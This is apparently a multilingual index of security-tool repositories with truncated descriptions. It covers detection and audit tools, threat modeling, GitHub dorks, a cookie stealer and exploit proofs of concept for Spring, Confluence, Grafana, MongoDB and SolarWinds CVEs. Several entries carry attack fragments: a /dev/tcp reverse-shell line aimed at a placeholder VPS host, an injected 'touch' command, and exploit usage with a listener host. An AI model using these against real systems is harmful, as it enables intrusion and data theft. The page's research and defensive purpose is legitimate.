interactsh

An OOB interaction gathering server and client library Features • Usage • Interactsh Client • Interactsh Server • Interactsh Integration • Join Discord Interactsh is an open-source tool for detecting out-of-band interactions. It is a tool designed to detect vulnerabilities that cause external...

ServerSecurityAudit

🛡️ Windows Server 安全审计（NIS2 对齐） 📋 概述 一个模块化的 PowerShell 引擎，用于对 Windows Server 系统执行深度安全卫生审计。它提供可操作的风险评分，并映射到 NIS2 指令（第 21 条） 、MITRE ATT &CK 和 CIS Controls v8 ，生成适合取证分析的 HTML 和 JSON 输出结果。 该引擎执行 30 多项加权检查 ，涵盖 6 个战略领域和 12 项关键安全规范，确保实现全方位的纵深防御。 它完全离线运行，无外部依赖，也无回传通信功能。 ⚠️ 免责声明 尽管该脚本设计为非侵入式，但它会执行大量的...

CVE-2022-22980

CVE-2022-22980 Inyección de Expresión SpEL en Spring Data MongoDB MongoDB es una base de datos NoSQL orientada a documentos, con la escalabilidad y flexibilidad que se utiliza para el almacenamiento de grandes volúmenes de datos. En lugar de usar tablas y filas como en las bases de datos...

CVE-2024-28987-POC

描述： SolarWinds Web Help Desk WHD 软件存在硬编码凭据漏洞，允许远程未认证用户访问内部功能并修改数据。 潜在影响： 利用 CVE-2024-28987 可能允许攻击者绕过 SolarWinds Web Help Desk 实施的安全策略，从而导致未经授权访问敏感数据、修改配置或其他恶意操作，进而危及系统完整性。鉴于 Web Help Desk 在企业及政府等关键环境中的广泛使用，该漏洞存在重大风险。 修复： 该公司已在 Web Help Desk 12.8.3 HF2 版本中发布补丁以修复此漏洞。强烈建议用户将软件更新至此版本或更高版本以防范此漏洞。 变通方...

slack-watchman

Slack Watchman Monitorización y enumeración de Slack en busca de secretos expuestos Acerca de Slack Watchman Slack Watchman es una aplicación que utiliza la API de Slack para encontrar datos potencialmente sensibles expuestos en un espacio de trabajo de Slack, y para enumerar otra información úti...

CVE-2025-14847_Expolit

MongoBleed-Pro ☠️ 高级 MongoDB 内存泄漏利用工具 持续学习 | 持续黑客 — CyberTechAjju 🔥 介绍 MongoBleed-Pro 是一个针对 CVE-2025-14847 的高级利用工具，这是 MongoDB 在 zlib 压缩处理中的一个严重内存泄露漏洞。该工具允许安全研究人员从易受攻击的 MongoDB 实例中提取敏感数据。 ⚠️ 免责声明 本工具仅用于授权的安全测试和教育目的 。未经授权访问计算机系统是违法的。在测试前请务必获得适当授权。 💀 漏洞详情 属性| 详情 ---|--- CVE ID| CVE-2025-14847 漏洞类型|...

github-dorks

Github Dorks Github Search is a quite powerful and useful feature that can be used to search for sensitive data on repositories. Collection of Github dorks can reveal sensitive personal and/or organizational information such as private keys, credentials, authentication tokens, etc. This list is...

github-dorks

Github Dorks Github 搜索 是一个相当强大且实用的功能，可用于在仓库中搜索敏感数据。Github dorks 的集合可以揭示敏感的个人和/或组织信息，例如私钥、凭据、认证令牌等。此列表旨在用于安全评估和系统渗透测试。 GitHub Dork 搜索工具 github-dork.py 是一个简单的 Python 工具，可以搜索您的仓库或您的组织/用户仓库。目前它并非完美的工具，但提供了基本功能，可根据文本文件中指定的 dorks 自动搜索您的仓库。 安装 该工具使用 github3.py 与 GitHub 搜索 API 通信。 克隆此仓库并运行： pip install...

cve-2018-1273

CVE-2018-1273 Spring Data Commons RCE 远程命令执行漏洞 usage C:\Users\CTF\Desktoppython cve-2018-1273.py / / | / / /| |/ : touch /tmp/jas502n 405, May Have a CVE-2018-1273 vulnerability! CVE-2018-1273 Vulnerability Exit! Cmd : BurpSuite request: POST /account HTTP/1.1 Host: 10.10.20.166:8080 Connection:...

NetLlix

NetLlix 本项目旨在模拟和测试数据通过不同网络协议的渗透。模拟过程不使用原生API，这将帮助蓝队编写关联规则，以检测任何类型的C2通信或数据渗透。 目前，该项目可通过以下编程/脚本语言生成 HTTP/HTTPS 流量（包括 GET 和 POST）： CNet/WebClient：使用 CLang 开发，通过知名的 WIN32 API（WININET 和 WINHTTP）及原始套接字编程生成网络流量。 HashNet/WebClient：一个 C 二进制文件，使用 HttpClient、WebRequest 及原始套接字等 .NET 类生成网络流量。...

CVE-2022-26134

CVE-2022-26134 远程攻击者在未经身份验证的情况下，可构造OGNL表达式进行注入，实现在Confluence Server或Data Center上执行任意代码,修改poc，方便getshell。常见端口:8090 影响版本 Confluence Server and Data Center = 1.3.0 7.14.0 & /dev/tcp/vps ip/vps port 0&1 使用...

CVE-2023-21036

Acropalypse detection and sanitization tools You can use the python script acropalypsedetection.py or the yara rule acropalypsedetection.yar to detect cropped images affected by acropalypse: $ for i in testimgs/; do python3 acropalypsedetection.py $i; done testimgs/windows10snippingtool1cropped.p...

url-cheatsheet-data

Datos de la hoja de referencia de evasión de validación de URL Estos son los datos que alimentan la hoja de referencia de evasión de validación de URL de PortSwigger. Hemos publicado estos datos en Github para que la comunidad pueda contribuir vectores mediante pull requests. Contribución Para...

pytm

pytm：一个Python式的威胁建模框架 简介 传统的威胁建模往往姗姗来迟，有时甚至根本不会进行。此外，手动创建数据流和报告极其耗时。pytm 的目标是将威胁建模前置，使其更加自动化并以开发人员为中心。 功能特性 基于您对架构设计的输入和定义，pytm 可以自动生成以下内容： 数据流图（DFD） 序列图 与您的系统相关的威胁 依赖要求 Linux/MacOS Python 3.11+ Graphviz 软件包 Java（OpenJDK 10 或 11） plantuml.jar 快速开始 tm.py 是一个示例模型。您可以运行它以生成其引用的报告和图表图像文件： mkdir -p tm...

pytm

pytm: A Pythonic framework for threat modeling Introduction Traditional threat modeling too often comes late to the party, or sometimes not at all. In addition, creating manual data flows and reports can be extremely time-consuming. The goal of pytm is to shift threat modeling to the left, making...

WebView2-Cookie-Stealer

Entrada de blog Por favor, lea esta entrada de blog para obtener más información. Código fuente Este código es una versión modificada del Código WebView2 de Microsoft. El código actual puede limpiarse y mejorarse mucho. Demostración Ejemplo de inicio Ejemplo de uso Uso Probado en Windows 10 y 11...

pytm

pytm: Un framework Pythonic para modelado de amenazas Introducción El modelado de amenazas tradicional a menudo llega tarde a la fiesta, o a veces no llega en absoluto. Además, crear flujos de datos e informes manuales puede llevar mucho tiempo. El objetivo de pytm es mover el modelado de amenaza...

grafanaExp

grafanaExp 利用grafana CVE-2021-43798任意文件读漏洞，自动探测是否有漏洞、存在的plugin、提取密钥、解密server端db文件，并输出datasourrce信息。 使用方法 提供exp和decode功能。 ➜ ./grafanaExp -h NAME: grafanaExp - Exploit Grafana with CVE-2021-43798 Arbitrary File Read. USAGE: grafanaExp global options command command options arguments... AUTHOR:...

CVE-2023-22527

CVE-2023-22527 - Vulnerabilidad RCE Ejecución Remota de Código en Confluence Data Center y Confluence Server PoC Detección nuclei -v -t /path/to/template.yam; -u http://ip:port/ Explotación python3 CVE-2023-22527.py -u ip:port -lh listen-host -lp listen-port...

VK-Scraper

VK Scraper vk-scraper 是一个用 Python 编写的命令行应用程序，用于抓取和下载 VK 用户/社区的数据。请负责任地使用。 要更好地了解其工作原理，请前往文档。 功能 抓取照片 抓取视频（包括上传的和外部的） 抓取已保存的照片 抓取故事 安装 Arch GNU/Linux 对于稳定版 （vk-scraper）： git clone https://aur.archlinux.org/vk-scraper.git vk-scraper 对于 git 版本（vk-scraper-git）： git clone...